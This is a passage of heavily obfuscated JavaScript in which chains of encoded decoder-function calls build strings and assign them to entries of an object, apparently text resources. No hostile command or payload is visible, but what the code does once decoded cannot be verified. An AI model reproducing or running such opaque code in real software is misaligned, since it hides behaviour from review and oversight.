Oa,DosX_UD_jp)+Dl(DosX_UD_BOO,0,0,DosX_UD_BjY,DosX_UD_BOb)+Dl(DosX_UD_BOQ,0,0,DosX_UD_BOh,DosX_UD_BOz)+DF(DosX_UD_BOH,DosX_UD_BOd,DosX_UD_BOg,DosX_UD_BOE)+Dl(DosX_UD_BOF,0,0,DosX_UD_BOt,DosX_UD_BOZ)+DS(DosX_UD_Bik,DosX_UD_Bp2,DosX_UD_BOc,DosX_UD_BOs,DosX_UD_BOT)+DE(DosX_UD_BOL,0,0,DosX_UD_BOJ,DosX_UD_cv)+Dl(DosX_UD_BOA,0,0,DosX_UD_BOG,DosX_UD_Br0)+Dg(DosX_UD_Br1,DosX_UD_Br2,0,DosX_UD_Br3,DosX_UD_Br4)+DE(DosX_UD_Br5,0,0,DosX_UD_Br7,DosX_UD_Br8)+Dl(DosX_UD_Br9,0,0,DosX_UD_Brq,DosX_UD_BrW)+DE(DosX_UD_Brf,0,0,DosX_UD_Brj,DosX_UD_ZK)+DS(DosX_UD_Bry,DosX_UD_B1R,DosX_UD_BuZ,DosX_UD_Bri,DosX_UD_Bru)+DS(DosX_UD_BrI,DosX_UD_TP,DosX_UD_Bre,DosX_UD_BOb,DosX_UD_BrD)+DE(DosX_UD_Brn,0,0,DosX_UD_BrC,DosX_UD_BrU)+Dg(DosX_UD_BrX,DosX_UD_BrN,0,DosX_UD_BrV,DosX_UD_Brv)+DS(DosX_UD_Bra,DosX_UD_ts,DosX_UD_BrO,DosX_UD_Brr,DosX_UD_Brb)+DE(DosX_UD_BrQ,0,0,DosX_UD_B1l,DosX_UD_Bfc)+Dl(DosX_UD_Brz,0,0,DosX_UD_Brg,DosX_UD_BrE)+Dl(DosX_UD_Bmg,0,0,DosX_UD_BjP,DosX_UD_BrF)+DF(DosX_UD_BrS,DosX_UD_BoP,DosX_UD_BrM,DosX_UD_Brt)+Dl(DosX_UD_EF,0,0,DosX_UD_BrT,DosX_UD_B5T)+DF(DosX_UD_BrL,DosX_UD_BrY,DosX_UD_BrJ,DosX_UD_BrA)+Dg(DosX_UD_AV,DosX_UD_Xl,0,DosX_UD_BrG,DosX_UD_B0u)+DF(DosX_UD_BOn,DosX_UD_UX,DosX_UD_Bb0,DosX_UD_Bb1)+DS(DosX_UD_Bb3,DosX_UD_Bb4,DosX_UD_Bb5,DosX_UD_Bb6,DosX_UD_Bb7)+DF(DosX_UD_Bb8,DosX_UD_OS,DosX_UD_Bb9,DosX_UD_BbB)+DF(DosX_UD_Bbq,DosX_UD_BBu,DosX_UD_BbW,DosX_UD_Bbf)+DF(DosX_UD_Bbp,DosX_UD_Bbj,DosX_UD_Bby,DosX_UD_B1Z)+DF(DosX_UD_Wf,DosX_UD_qm,DosX_UD_Bbu,DosX_UD_BbI)+DE(DosX_UD_BbD,0,0,DosX_UD_B3l,DosX_UD_BbP)+Dl(DosX_UD_BbC,0,0,DosX_UD_BbN,DosX_UD_BbR)+Dg(DosX_UD_BbV,DosX_UD_Bbv,0,DosX_UD_Bba,DosX_UD_BIC)+Dg(DosX_UD_BbO,DosX_UD_Bbr,0,-DosX_UD_BbQ,DosX_UD_tw)+Dg(DosX_UD_Bbk,DosX_UD_mw,0,DosX_UD_wY,DosX_UD_Bbz)+Dg(-DosX_UD_BbH,DosX_UD_Bbd,0,-DosX_UD_BbE,DosX_UD_Bbl)+DS(DosX_UD_XP,DosX_UD_BbF,DosX_UD_BbS,DosX_UD_en,DosX_UD_BbM)+DE(DosX_UD_BY,0,0,DosX_UD_HS,-DosX_UD_Fs)+DS(DosX_UD_Bbc,DosX_UD_BqF,DosX_UD_Bbs,DosX_UD_BbT,DosX_UD_BbL)+Dg(DosX_UD_BbY,DosX_UD_BbJ,0,DosX_UD_Bbw,DosX_UD_Bbx)+Dg(DosX_UD_BbG,DosX_UD_BQ0,0,DosX_UD_CT,DosX_UD_BQ2)+DF(DosX_UD_XL,DosX_UD_BQ3,DosX_UD_BQ4,DosX_UD_BQ5)+DS(DosX_UD_BQ7,DosX_UD_BQ8,DosX_UD_Z6,DosX_UD_BQ9,DosX_UD_BQB)+Dg(DosX_UD_YK,DosX_UD_Tt,0,DosX_UD_BQq,DosX_UD_BQW)+DS(DosX_UD_BQf,DosX_UD_Jx,DosX_UD_BQK,DosX_UD_BQp,DosX_UD_BXB)+DE(DosX_UD_BQj,0,0,DosX_UD_BQu,DosX_UD_BQI)+Dg(-DosX_UD_BQe,DosX_UD_BC1,0,-DosX_UD_BQD,DosX_UD_BRy)+DE(DosX_UD_BQn,0,0,DosX_UD_B45,-DosX_UD_BQP)+Dl(DosX_UD_kr,0,0,DosX_UD_Nm,DosX_UD_BQX)+DF(DosX_UD_BQN,DosX_UD_BQR,DosX_UD_BQV,DosX_UD_BQv)+DF(DosX_UD_BQa,DosX_UD_BQO,DosX_UD_BrB,DosX_UD_TV)+Dl(DosX_UD_BQr,0,0,DosX_UD_BQQ,DosX_UD_BQk)+Dg(DosX_UD_BQh,DosX_UD_B6P,0,DosX_UD_BQH,DosX_UD_S2)+DS(DosX_UD_BQd,DosX_UD_BQg,DosX_UD_BQE,-DosX_UD_BQl,DosX_UD_BQF)+Dg(DosX_UD_BQS,DosX_UD_j5,0,DosX_UD_BOs,DosX_UD_Ba6)+DF(DosX_UD_BQM,DosX_UD_BP7,DosX_UD_BQt,DosX_UD_BQZ)+Dl(DosX_UD_BQs,0,0,DosX_UD_BQL,DosX_UD_BQY)+Dg(DosX_UD_BQJ,DosX_UD_BQA,0,DosX_UD_BQx,DosX_UD_BVW)+DS(DosX_UD_BQG,DosX_UD_qQ,DosX_UD_Bk0,DosX_UD_BDS,DosX_UD_Bk1)+DS(-DosX_UD_Bk2,DosX_UD_Bk3,DosX_UD_Bk4,DosX_UD_kJ,DosX_UD_Bk5)+DE(DosX_UD_Bk6,0,0,DosX_UD_BvK,DosX_UD_Bk8)+DS(DosX_UD_fd,DosX_UD_Boj,DosX_UD_BV1,DosX_UD_Bk9,DosX_UD_BkB),DosX_UD_V[DS(DosX_UD_Bko,DosX_UD_fR,DosX_UD_Bkq,DosX_UD_BkW,DosX_UD_Bkf)+Dg(DosX_UD_BkK,DosX_UD_By6,0,DosX_UD_Bkj,DosX_UD_Bky)+\"er\"]=DF(-DosX_UD_Bki,DosX_UD_Bku,DosX_UD_v2,DosX_UD_Ja)+Dl(DosX_UD_U5,0,0,DosX_UD_BPM,DosX_UD_BkD)+Dg(DosX_UD_Bkn,DosX_UD_Bkm,0,DosX_UD_BkC,DosX_UD_BkU)+DE(DosX_UD_BkX,0,0,DosX_UD_BkV,DosX_UD_Bkv)+DS(DosX_UD_Bka,DosX_UD_BkO,DosX_UD_B7S,DosX_UD_Bkr,DosX_UD_Bkb)+DE(DosX_UD_BkQ,0,0,DosX_UD_sT,DosX_UD_BI0)+DE(DosX_UD_Bkh,0,0,DosX_UD_B0p,DosX_UD_Bkd)+DE(DosX_UD_Iz,0,0,DosX_UD_BkO,DosX_UD_Bkl)+DF(-DosX_UD_BkF,DosX_UD_BkS,DosX_UD_B0M,-DosX_UD_BkM)+DS(DosX_UD_BkZ,DosX_UD_B6p,DosX_UD_Bkc,DosX_UD_Bks,DosX_UD_BkT)+Dl(DosX_UD_BkL,0,0,DosX_UD_BkA,DosX_UD_mY)+DF(DosX_UD_rH,DosX_UD_Bkw,DosX_UD_Bkx,DosX_UD_BkG)+DF(DosX_UD_Bh1,DosX_UD_Bh2,DosX_UD_Bh3,DosX_UD_Bh4)+Dl(DosX_UD_aa,0,0,DosX_UD_Bh6,DosX_UD_Bh7)+DS(DosX_UD_B9c,DosX_UD_i3,DosX_UD_Bh8,DosX_UD_Bh9,DosX_UD_BhB)+Dl(DosX_UD_Bho,0,0,DosX_UD_gp,DosX_UD_BhW)+DS(DosX_UD_Bhf,DosX_UD_BhK,DosX_UD_Bhp,DosX_UD_Bhj,DosX_UD_Bhy)+Dg(DosX_UD_Bhi,DosX_UD_Bhu,0,DosX_UD_Bhe,DosX_UD_BhD)+Dg(DosX_UD_B5r,DosX_UD_Bhn,0,DosX_UD_Bfk,DosX_UD_Hx)+DS(DosX_UD_BhP,DosX_UD_zI,DosX_UD_BhC,DosX_UD_BhU,DosX_UD_BhX)+Dg(-DosX_UD_BhN,DosX_UD_Ag,0,DosX_UD_BhV,DosX_UD_Bhv)+Dg(DosX_UD_Bha,DosX_UD_BhO,0,DosX_UD_Bhb,DosX_UD_B1R)+DS(DosX_UD_BBh,DosX_UD_BVO,DosX_UD_BhQ,DosX_UD_Bhk,DosX_UD_Bhh)+DE(DosX_UD_Bhz,0,0,DosX_UD_Bhd,DosX_UD_xM)+DE(DosX_UD_Bhg,0,0,DosX_UD_sf,DosX_UD_BhF)+DS(DosX_UD_BhS,DosX_UD_BhM,DosX_UD_Bht,DosX_UD_BhZ,-DosX_UD_Bhc)+DS(DosX_UD_Bb5,DosX_UD_Bhs,DosX_UD_BhT,DosX_UD_or,DosX_UD_BhL)+Dg(DosX_UD_BhY,DosX_UD_La,0,DosX_UD_Q,DosX_UD_Lj)+DE(DosX_UD_BhA,0,0,DosX_UD_BhG,DosX_UD_Bz0)+DE(DosX_UD_Bz1,0,0,DosX_UD_Bz4,DosX_UD_Bz5)+DF(DosX_UD_Bz6,DosX_UD_Ux,DosX_UD_BXq,DosX_UD_Bz7)+DF(DosX_UD_Bz9,DosX_UD_Yk,DosX_UD_Sp,DosX_UD_BzB)+Dg(DosX_UD_Bzq,DosX_UD_BzW,0,DosX_UD_Byq,DosX_UD_BzK)+Dl(DosX_UD_Bzp,0,0,DosX_UD_B9O,-DosX_UD_Bzi)+DF(DosX_UD_Bzu,DosX_UD_B1x,DosX_UD_B41,DosX_UD_BzI)+DF(DosX_UD_Bze,DosX_UD_BzD,DosX_UD_Bzn,DosX_UD_lH)+DS(DosX_UD_BzP,DosX_UD_Bhd,DosX_UD_BPV,DosX_UD_BzC,DosX_UD_BzU)+Dg(DosX_UD_z,DosX_UD_BzX,0,DosX_UD_BzR,DosX_UD_BD0)+Dg(DosX_UD_BzV,DosX_UD_Bzv,0,DosX_UD_B1q,DosX_UD_BpM)+Dl(DosX_UD_a9,0,0,DosX_UD_r2,DosX_UD_BzO)+Dl(DosX_UD_Bzr,0,0,DosX_UD_tK,DosX_UD_Bzk)+Dl(DosX_UD_Bzh,0,0,DosX_UD_Bzd,DosX_UD_Bzg)+DF(DosX_UD_BzE,DosX_UD_Bzl,DosX_UD_BzF,DosX_UD_BzS)+Dg(DosX_UD_so,DosX_UD_BmC,0,DosX_UD_N,DosX_UD_BzZ)+DF(DosX_UD_BQK,DosX_UD_GL,DosX_UD_Bzc,DosX_UD_Bzs)+DE(DosX_UD_BzL,0,0,DosX_UD_lM,DosX_UD_BzJ)+Dl(DosX_UD_BzA,0,0,DosX_UD_BzG,DosX_UD_BH0)+Dl(DosX_UD_BH1,0,0,DosX_UD_BH4,DosX_UD_LL)+Dg(DosX_UD_BH5,DosX_UD_BH6,0,DosX_UD_BH8,DosX_UD_BT)+DS(DosX_UD_BH9,DosX_UD_BHB,DosX_UD_BHo,DosX_UD_BH6,DosX_UD_BHq)+DS(DosX_UD_BHW,DosX_UD_BHf,DosX_UD_BHK,DosX_UD_BHp,DosX_UD_BHj)+Dg(DosX_UD_BHy,DosX_UD_BNY,0,DosX_UD_BHu,DosX_UD_BHI)+Dg(-DosX_UD_BHe,DosX_UD_BHD,0,-DosX_UD_BHm,DosX_UD_iD)+DF(DosX_UD_BHP,DosX_UD_BHC,DosX_UD_BHU,DosX_UD_BHX)+DF(DosX_UD_BHN,DosX_UD_BnS,DosX_UD_BHR,DosX_UD_BHV)+Dg(DosX_UD_BHa,DosX_UD_BHO,0,DosX_UD_BHb,DosX_UD_BHQ)+DE(DosX_UD_BHk,0,0,DosX_UD_UX,DosX_UD_BHz)+Dg(DosX_UD_un,DosX_UD_BHH,0,DosX_UD_BmT,DosX_UD_qJ)+Dl(DosX_UD_BHd,0,0,DosX_UD_BCB,DosX_UD_BHE)+DS(DosX_UD_BHl,DosX_UD_BCY,DosX_UD_BHF,DosX_UD_BHS,DosX_UD_BHM)+Dg(DosX_UD_B92,DosX_UD_BHt,0,DosX_UD_BHc,DosX_UD_BHs)+DF(DosX_UD_BHT,DosX_UD_BHL,DosX_UD_BHY,DosX_UD_BHJ)+DE(DosX_UD_BHA,0,0,DosX_UD_BHG,DosX_UD_Bd0)+DF(DosX_UD_Bd1,DosX_UD_Ig,DosX_UD_BOL,DosX_UD_N8)+DE(DosX_UD_Bug,0,0,DosX_UD_Bd4,DosX_UD_Jh)+DF(DosX_UD_xN,DosX_UD_Bd5,DosX_UD_Bd6,-DosX_UD_Bd7)+DS(DosX_UD_Fs,DosX_UD_Bd9,DosX_UD_Pw,DosX_UD_BdB,DosX_UD_Bdo)+DF(DosX_UD_Bdq,DosX_UD_BdW,DosX_UD_Bdf,DosX_UD_BdK)+DS(DosX_UD_E3,DosX_UD_BIi,DosX_UD_BmT,DosX_UD_Bdj,DosX_UD_Bdy)+DE(DosX_UD_Bdi,0,0,DosX_UD_Kz,DosX_UD_BdI)+Dl(DosX_UD_rf,0,0,DosX_UD_Bdn,DosX_UD_B95)+Dl(DosX_UD_Bdm,0,0,DosX_UD_J5,DosX_UD_Mk)+DF(-DosX_UD_BdC,DosX_UD_BdU,DosX_UD_BdX,DosX_UD_BdN)+DE(DosX_UD_BdR,0,0,DosX_UD_Bda,DosX_UD_BdO)+Dg(DosX_UD_Bdr,DosX_UD_Bdb,0,DosX_UD_Bdk,DosX_UD_y8)+Dl(DosX_UD_Bdh,0,0,DosX_UD_BQu,DosX_UD_B64)+Dl(DosX_UD_Bdd,0,0,DosX_UD_Tz,DosX_UD_Bdl)+DF(DosX_UD_BdF,DosX_UD_BdS,DosX_UD_BIl,DosX_UD_BdM)+DF(DosX_UD_BKd,DosX_UD_pn,DosX_UD_BdZ,DosX_UD_Bdc)+DS(DosX_UD_BD7,DosX_UD_BdT,DosX_UD_BdL,DosX_UD_K2,DosX_UD_BdY)+Dl(DosX_UD_BdJ,0,0,DosX_UD_Bdx,DosX_UD_BdG)+DE(DosX_UD_Bg0,0,0,DosX_UD_Bg3,DosX_UD_Bg4)+Dg(DosX_UD_Bg5,DosX_UD_Bg6,0,DosX_UD_Bg8,DosX_UD_Bg9),DosX_UD_V[Dg(DosX_UD_BgB,DosX_UD_Bgo,0,DosX_UD_BgW,DosX_UD_Bgf)]=Dl(DosX_UD_BgK,0,0,DosX_UD_sO,DosX_UD_Bgy)+DE(DosX_UD_Bgi,0,0,DosX_UD_ByO,DosX_UD_Bge)+Dg(DosX_UD_BgD,DosX_UD_Bgn,0,DosX_UD_BgP,DosX_UD_BgC)+DS(DosX_UD_BgU,DosX_UD_BgX,DosX_UD_BgN,DosX_UD_BgR,DosX_UD_BkL)+Dl(DosX_UD_BgV,0,0,DosX_UD_Bga,DosX_UD_kB)+DF(DosX_UD_BaW,DosX_UD_R9,DosX_UD_BgO,DosX_UD_BdC)+Dl(DosX_UD_Bks,0,0,DosX_UD_Bgk,DosX_UD_Br5)+Dg(DosX_UD_Bgh,DosX_UD_Bgz,0,DosX_UD_Bgd,DosX_UD_B0Y)+DF(DosX_UD_Bgg,DosX_UD_BPz,DosX_UD_ED,DosX_UD_BgE)+Dg(DosX_UD_BgF,DosX_UD_BgS,0,DosX_UD_Bgt,DosX_UD_BgZ)+DF(DosX_UD_Bgc,DosX_UD_BeR,DosX_UD_Bgs,DosX_UD_BgT)+DF(DosX_UD_BgL,DosX_UD_Tz,DosX_UD_Wp,DosX_UD_BgY)+Dl(DosX_UD_BgA,0,0,DosX_UD_B9x,DosX_UD_Bgx)+DF(DosX_UD_BgG,DosX_UD_BE0,DosX_UD_BE1,DosX_UD_BE2)+Dl(DosX_UD_BE4,0,0,DosX_UD_B5x,DosX_UD_BE7)+DS(DosX_UD_BE8,DosX_UD_BE9,DosX_UD_BEB,DosX_UD_Bmx,DosX_UD_BEo)+DS(DosX_UD_BEq,DosX_UD_BEW,DosX_UD_Bux,DosX_UD_BEf,DosX_UD_BEK)+Dg(DosX_UD_BEp,DosX_UD_o6,0,DosX_UD_BEy,DosX_UD_BEi)+DE(DosX_UD_BEu,0,0,DosX_UD_BEe,DosX_UD_BED)+DF(DosX_UD_BEn,DosX_UD_BeK,DosX_UD_Bry,DosX_UD_BEm)+DE(DosX_UD_Jh,0,0,DosX_UD_Bi7,DosX_UD_BEX)+DS(DosX_UD_bG,DosX_UD_N5,DosX_UD_O5,DosX_UD_BEN,DosX_UD_N4)+Dg(DosX_UD_BER,DosX_UD_BEV,0,DosX_UD_BEa,DosX_UD_g8)+Dl(DosX_UD_BEO,0,0,DosX_UD_BEQ,DosX_UD_BEk)+DS(-DosX_UD_BEh,DosX_UD_ae,DosX_UD_B82,DosX_UD_BEz,DosX_UD_Nx)+Dg(DosX_UD_BEH,DosX_UD_BEd,0,DosX_UD_BEE,DosX_UD_Nm)+DS(DosX_UD_BEl,DosX_UD_BEF,DosX_UD_jp,DosX_UD_BES,DosX_UD_BEM)+Dg(DosX_UD_BEt,DosX_UD_BfJ,0,DosX_UD_BqY,DosX_UD_BEc)+Dl(DosX_UD_BEs,0,0,DosX_UD_fR,DosX_UD_Ce)+DE(DosX_UD_BEL,0,0,DosX_UD_BEA,DosX_UD_BEw)+DE(DosX_UD_BEx,0,0,DosX_UD_Bl1,DosX_UD_Bl2)+DF(DosX_UD_Bl3,DosX_UD_Bl4,DosX_UD_Bl5,DosX_UD_Bl6)+DF(DosX_UD_Bl7,DosX_UD_Bl8,DosX_UD_Bl9,DosX_UD_hv)+Dg(DosX_UD_Blo,DosX_UD_Blq,0,DosX_UD_Blf,DosX_UD_yN)+DF(DosX_UD_BlK,DosX_UD_pc,DosX_UD_Blp,DosX_UD_Blj)+DF(-DosX_UD_Bli,DosX_UD_Blu,DosX_UD_BlI,DosX_UD_sF)+DE(DosX_UD_BlD,0,0,DosX_UD_BHI,DosX_UD_BK9)+DS(DosX_UD_Bzq,DosX_UD_BlP,DosX_UD_BlC,DosX_UD_BlU,DosX_UD_BlX)+Dl(DosX_UD_BlN,0,0,DosX_UD_Blv,DosX_UD_Bla)+DF(DosX_UD_BlO,DosX_UD_Blr,DosX_UD_Blb,DosX_UD_B6s)+Dg(DosX_UD_Blk,DosX_UD_Blh,0,DosX_UD_BlH,DosX_UD_B9T)+DS(DosX_UD_Bld,DosX_UD_B0a,DosX_UD_Blg,-DosX_UD_BlE,-DosX_UD_Bll)+Dl(DosX_UD_BlF,0,0,DosX_UD_BlM,DosX_UD_Blt)+Dg(DosX_UD_UZ,DosX_UD_Yv,0,DosX_UD_Blc,DosX_UD_Bqp)+DF(DosX_UD_Bls,DosX_UD_BlT,DosX_UD_br,DosX_UD_BlL)+Dg(-DosX_UD_BlY,DosX_UD_QP,0,DosX_UD_BBk,DosX_UD_BQg)+DF(DosX_UD_BlA,DosX_UD_i3,DosX_UD_Blw,-DosX_UD_BIJ)+Dl(DosX_UD_Blx,0,0,DosX_UD_BDl,DosX_UD_BF0)+Dg(DosX_UD_Ib,DosX_UD_BF1,0,DosX_UD_BF2,DosX_UD_BF3)+DF(DosX_UD_BF4,DosX_UD_BB7,DosX_UD_BF5,DosX_UD_BF6)+DE(DosX_UD_BF8,0,0,DosX_UD_hZ,DosX_UD_BeQ)+DF(DosX_UD_BFB,DosX_UD_BFo,DosX_UD_BbI,DosX_UD_BFq)+DE(DosX_UD_BFf,0,0,DosX_UD_BFp,DosX_UD_BFj)+DF(DosX_UD_BFy,DosX_UD_BFi,DosX_UD_Ne,DosX_UD_BFu)+DS(DosX_UD_BFe,DosX_UD_BFD,DosX_UD_BFn,DosX_UD_BFm,DosX_UD_Bru)+Dg(DosX_UD_BFP,DosX_UD_BFC,0,DosX_UD_BFX,DosX_UD_BFN)+DF(DosX_UD_BFR,DosX_UD_BFV,DosX_UD_BFv,DosX_UD_h3)+DF(DosX_UD_BFO,DosX_UD_Bpc,DosX_UD_BFr,DosX_UD_BFb)+DE(DosX_UD_BFQ,0,0,DosX_UD_BFh,DosX_UD_BFz)+DE(DosX_UD_BFH,0,0,DosX_UD_F,DosX_UD_BFg)+Dl(DosX_UD_BVN,0,0,DosX_UD_BFl,DosX_UD_BFF)+DF(DosX_UD_B84,DosX_UD_BFS,DosX_UD_Bju,DosX_UD_BFM)+DE(DosX_UD_BFt,0,0,DosX_UD_BFs,DosX_UD_BFT)+Dl(DosX_UD_BFL,0,0,DosX_UD_BHI,DosX_UD_BFA)+Dg(DosX_UD_BFw,DosX_UD_BOb,0,DosX_UD_BFG,DosX_UD_Jk)+DS(DosX_UD_BS0,DosX_UD_ds,DosX_UD_BS1,DosX_UD_bb,DosX_UD_BS2)+Dg(DosX_UD_BS3,DosX_UD_BS4,0,DosX_UD_BS6,DosX_UD_BS7)+DF(DosX_UD_BS8,DosX_UD_p8,DosX_UD_BS9,DosX_UD_BSB)+DE(DosX_UD_BSq,0,0,DosX_UD_BSW,DosX_UD_B2x)+Dg(DosX_UD_fX,DosX_UD_BSf,0,DosX_UD_QJ,DosX_UD_BSp)+DF(DosX_UD_Byd,DosX_UD_pX,DosX_UD_BSj,DosX_UD_a8)+Dg(DosX_UD_BSi,DosX_UD_BSu,0,DosX_UD_BSe,DosX_UD_Blu)+Dg(DosX_UD_fx,DosX_UD_BSD,0,DosX_UD_BSm,DosX_UD_BSP)+DE(DosX_UD_BSC,0,0,DosX_UD_BSN,DosX_UD_BSR)+Dl(DosX_UD_zg,0,0,DosX_UD_BSV,DosX_UD_B2c)+DS(DosX_UD_BSv,DosX_UD_wO,DosX_UD_BSa,DosX_UD_GQ,DosX_UD_BSO)+DE(DosX_UD_BSr,0,0,DosX_UD_BCt,DosX_UD_Yv)+DS(DosX_UD_BSk,DosX_UD_BSh,DosX_UD_BSz,DosX_UD_BSH,DosX_UD_BSd)+DF(DosX_UD_BSg,DosX_UD_z1,DosX_UD_BSE,DosX_UD_BmC)+DE(DosX_UD_BSF,0,0,DosX_UD_Brq,DosX_UD_BSt)+DE(DosX_UD_BSZ,0,0,DosX_UD_XJ,DosX_UD_O5)+Dl(DosX_UD_BEd,0,0,DosX_UD_N5,DosX_UD_BSL)+\"и.\",DosX_UD_V[Dg(DosX_UD_BSY,DosX_UD_BSJ,0,DosX_UD_BSw,DosX_UD_Bhd)+Dl(DosX_UD_BSx,0,0,DosX_UD_B1P,DosX_UD_BM1)+DS(DosX_UD_BM2,DosX_UD_BM3,DosX_UD_BM4,DosX_UD_BM5,DosX_UD_BM6)]=DE(DosX_UD_BM7,0,0,DosX_UD_Bns,DosX_UD_BMB)+Dg(DosX_UD_BVd,DosX_UD_sx,0,DosX_UD_BMq,DosX_UD_CC)+DF(DosX_UD_BMW,DosX_UD_BMf,DosX_UD_Bpl,DosX_UD_BMK)+DS(DosX_UD_BMp,DosX_UD_aX,DosX_UD_BMj,DosX_UD_BMy,DosX_UD_BMi)+DF(-DosX_UD_BMu,DosX_UD_BMI,DosX_UD_BMe,-DosX_UD_BMD)+Dl(DosX_UD_Bbt,0,0,DosX_UD_BMC,DosX_UD_BMU)+Dl(DosX_UD_BMX,0,0,DosX_UD_Bmu,DosX_UD_Brk)+Dg(DosX_UD_BNj,DosX_UD_B8c,0,DosX_UD_BMV,DosX_UD_BMv)+Dl(DosX_UD_BMa,0,0,DosX_UD_BRJ,DosX_UD_BMb)+DE(DosX_UD_dE,0,0,DosX_UD_B30,DosX_UD_BMh)+Dl(DosX_UD_BMz,0,0,DosX_UD_BpX,DosX_UD_BMd)+DF(DosX_UD_TV,DosX_UD_B1l,DosX_UD_BXI,DosX_UD_Bf7)+DF(DosX_UD_ZR,DosX_UD_BME,DosX_UD_BMl,DosX_UD_BMF)+DS(-DosX_UD_QG,DosX_UD_EO,DosX_UD_BMM,DosX_UD_BMt,-DosX_UD_BMZ)+DF(DosX_UD_BMc,DosX_UD_BMs,DosX_UD_BMT,DosX_UD_gX)+DS(DosX_UD_Xy,DosX_UD_BMY,DosX_UD_BMJ,DosX_UD_s7,-DosX_UD_BMA)+DS(DosX_UD_BMw,DosX_UD_Br7,DosX_UD_BMx,-DosX_UD_BMG,DosX_UD_Bks)+Dl(DosX_UD_Bt0,0,0,DosX_UD_B1x,DosX_UD_Bt3)+DE(DosX_UD_yA,0,0,DosX_UD_Bt6,-DosX_UD_Bt7)+DF(DosX_UD_Bt8,DosX_UD_sS,DosX_UD_Bt9,DosX_UD_BtB)+DF(-DosX_UD_BeM,DosX_UD_Btq,DosX_UD_BmT,DosX_UD_Bfy)+Dg(DosX_UD_Btf,DosX_UD_BtK,0,DosX_UD_Btp,DosX_UD_Btj)+DF(DosX_UD_Sc,DosX_UD_Bty,DosX_UD_ZR,DosX_UD_Bti)+DF(DosX_UD_Btu,DosX_UD_R,DosX_UD_BtI,DosX_UD_Bte)+DS(DosX_UD_Btn,DosX_UD_BDr,DosX_UD_Btm,DosX_UD_BtP,-DosX_UD_BtC)+DS(DosX_UD_M7,DosX_UD_qz,DosX_UD_B3v,DosX_UD_BtU,DosX_UD_Uq)+Dl(DosX_UD_BtX,0,0,DosX_UD_BtN,DosX_UD_BtR)+DS(-DosX_UD_BtV,DosX_UD_Btv,DosX_UD_Bta,DosX_UD_BtO,DosX_UD_yW)+Dl(DosX_UD_Btr,0,0,DosX_UD_BtQ,DosX_UD_Btk)+DS(DosX_UD_Y5,DosX_UD_Bth,DosX_UD_Btz,DosX_UD_BtH,DosX_UD_Btd)+Dg(DosX_UD_Btg,DosX_UD_BtE,0,DosX_UD_BtF,DosX_UD_k5)+Dl(DosX_UD_BtS,0,0,DosX_UD_B0u,DosX_UD_Btt)+Dl(DosX_UD_BtZ,0,0,DosX_UD_BoS,DosX_UD_BtT)+DF(DosX_UD_zV,DosX_UD_BtL,DosX_UD_BtY,DosX_UD_BtJ)+Dl(DosX_UD_BtA,0,0,DosX_UD_BHf,DosX_UD_Bm4)+DS(DosX_UD_BtG,DosX_UD_BS7,DosX_UD_BZ0,DosX_UD_BZ1,DosX_UD_BZ2)+Dg(DosX_UD_BZ3,DosX_UD_BZ4,0,DosX_UD_BZ6,DosX_UD_K8)+DS(DosX_UD_BZ7,DosX_UD_s8,DosX_UD_BZ8,DosX_UD_BZ9,DosX_UD_BZB)+DE(DosX_UD_BZo,0,0,DosX_UD_BZW,DosX_UD_BMn)+Dl(-DosX_UD_BZf,0,0,DosX_UD_BZp,-DosX_UD_BZj)+Dg(DosX_UD_BZy,DosX_UD_BZi,0,DosX_UD_BZI,DosX_UD_BZe)+DE(DosX_UD_BZD,0,0,DosX_UD_BZm,DosX_UD_BZP)+Dg(DosX_UD_BZC,DosX_UD_BZU,0,DosX_UD_BZN,DosX_UD_BZR)+DF(DosX_UD_B3k,DosX_UD_AT,DosX_UD_BZV,-DosX_UD_Qa)+Dl(DosX_UD_xx,0,0,DosX_UD_BZO,DosX_UD_BZr)+DE(DosX_UD_BZb,0,0,DosX_UD_BZh,DosX_UD_BZz)+DS(DosX_UD_BZH,DosX_UD_BZd,DosX_UD_BZg,DosX_UD_Wj,DosX_UD_BZE)+DE(DosX_UD_BIa,0,0,DosX_UD_FT,-DosX_UD_BZF)+Dl(DosX_UD_BRU,0,0,DosX_UD_B1l,DosX_UD_xE)+DS(DosX_UD_BZM,DosX_UD_BZt,DosX_UD_BPA,DosX_UD_Bnm,DosX_UD_BZZ)+Dl(DosX_UD_BZc,0,0,DosX_UD_BZL,DosX_UD_BZY)+DE(DosX_UD_BZJ,0,0,DosX_UD_BZA,DosX_UD_BZw)+Dg(DosX_UD_BZx,DosX_UD_BZG,0,-DosX_UD_Bc0,DosX_UD_Bc1)+Dl(DosX_UD_Bc2,0,0,DosX_UD_vK,DosX_UD_Bc5)+DS(DosX_UD_Bc6,DosX_UD_Bc7,DosX_UD_Bc8,DosX_UD_cf,DosX_UD_Bc9)+DS(DosX_UD_BcB,DosX_UD_Bco,DosX_UD_Bcq,DosX_UD_BcW,DosX_UD_Bcf)+Dg(DosX_UD_BcK,DosX_UD_BgJ,0,DosX_UD_Bcj,DosX_UD_Bcy)+Dl(DosX_UD_Bci,0,0,DosX_UD_BcI,DosX_UD_Bce)+DE(DosX_UD_BcD,0,0,DosX_UD_BcP,DosX_UD_BcC)+Dg(-DosX_UD_BcU,DosX_UD_BcX,0,-DosX_UD_BcR,DosX_UD_Bhd)+DF(DosX_UD_BcV,DosX_UD_Bcv,DosX_UD_Bca,DosX_UD_BcO)+Dg(DosX_UD_Vc,DosX_UD_Bcb,0,DosX_UD_Bck,DosX_UD_ly)+DE(DosX_UD_BQv,0,0,DosX_UD_pS,DosX_UD_Bcz)+Dl(DosX_UD_BcH,0,0,DosX_UD_Bh6,DosX_UD_Byc)+DF(DosX_UD_BcE,DosX_UD_Bcl,DosX_UD_BcF,DosX_UD_BcS)+Dl(DosX_UD_Qg,0,0,DosX_UD_Bcc,DosX_UD_Bcs)+Dg(DosX_UD_BcT,DosX_UD_yU,0,DosX_UD_B4w,DosX_UD_Bk3)+DF(DosX_UD_BcL,DosX_UD_BcY,DosX_UD_BcJ,DosX_UD_BcA)+DE(DosX_UD_Bcx,0,0,DosX_UD_EH,DosX_UD_Bs0)+Dl(DosX_UD_BDy,0,0,DosX_UD_Bs3,-DosX_UD_Bs4)+DS(DosX_UD_Bs5,DosX_UD_Bs6,DosX_UD_Bs7,DosX_UD_BgJ,DosX_UD_Bs8)+Dg(DosX_UD_Bs9,DosX_UD_BsB,0,DosX_UD_Bsq,DosX_UD_BZW)+DE(DosX_UD_BsW,0,0,DosX_UD_BzK,DosX_UD_Bsp)+Dg(DosX_UD_Bsj,DosX_UD_Bsy,0,DosX_UD_Bqg,DosX_UD_B3M)+Dl(DosX_U